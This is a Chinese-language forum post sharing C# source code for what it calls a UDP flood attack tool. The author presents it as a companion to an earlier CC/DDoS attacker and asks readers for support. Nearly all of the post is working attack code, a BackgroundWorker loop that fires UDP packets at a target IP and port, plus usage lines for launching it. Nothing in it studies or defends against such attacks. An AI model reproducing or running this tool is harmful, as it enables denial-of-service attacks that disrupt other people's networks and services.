继续发放一个C#的UDP洪水攻击器demo的源代码
Page 1 of 1
继续发放一个C#的UDP洪水攻击器demo的源代码
继续发放一个C#的UDP洪水攻击器demo的源代码(跟刚才那个CC/DDOS攻击器一样,使用socket基类编程,不可多得,大家有钱的捧个钱场,没钱的捧个人场
使用方法:
udptest = new UdpTest(int.Parse(udpcount.Text), this.udpip.Text, int.Parse(this.udpport.Text), this.udpcontent.Text);
udptest .start();
- using System.ComponentModel;
- using System.Net.Sockets;
- namespace DepthCharge
- {
- class UdpTest
- {
- bool run = false;
- BackgroundWorker worker;
- int count;
- string ip;
- int port;
- string content;
- public UdpTest(int count, string ip,int port, string content)
- {
- this.count=count;
- this.ip = ip;
- this.port = port;
- this.content = content;
- }
- public void start()
- {
- worker = new BackgroundWorker();
- worker.DoWork += new DoWorkEventHandler(doWork);
- worker.RunWorkerAsync();
- worker.WorkerSupportsCancellation = true;
- }
- public void stop()
- {
- run = false;
- worker.CancelAsync();
- }
- private void doWork(object sender, DoWorkEventArgs e)
- {
- run = true;
- var RHost = new System.Net.IPEndPoint(System.Net.IPAddress.Parse(ip), port);
- byte[] buf = System.Text.Encoding.ASCII.GetBytes(content);
- for (int i = count; i > 0 && run; --i)
- {
- Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp) { Blocking = false };
- socket.SendTo(buf, SocketFlags.None, RHost);
- }
- }
- public bool Running { get{return run;} set{run=value;} }
- }
- }
使用方法:
udptest = new UdpTest(int.Parse(udpcount.Text), this.udpip.Text, int.Parse(this.udpport.Text), this.udpcontent.Text);
udptest .start();
cyjian- Spammer
- Posts : 211
Points : 72655
Reputation : 0
Join date : 2014-06-18
Page 1 of 1
Permissions in this forum:
You cannot reply to topics in this forum
|
|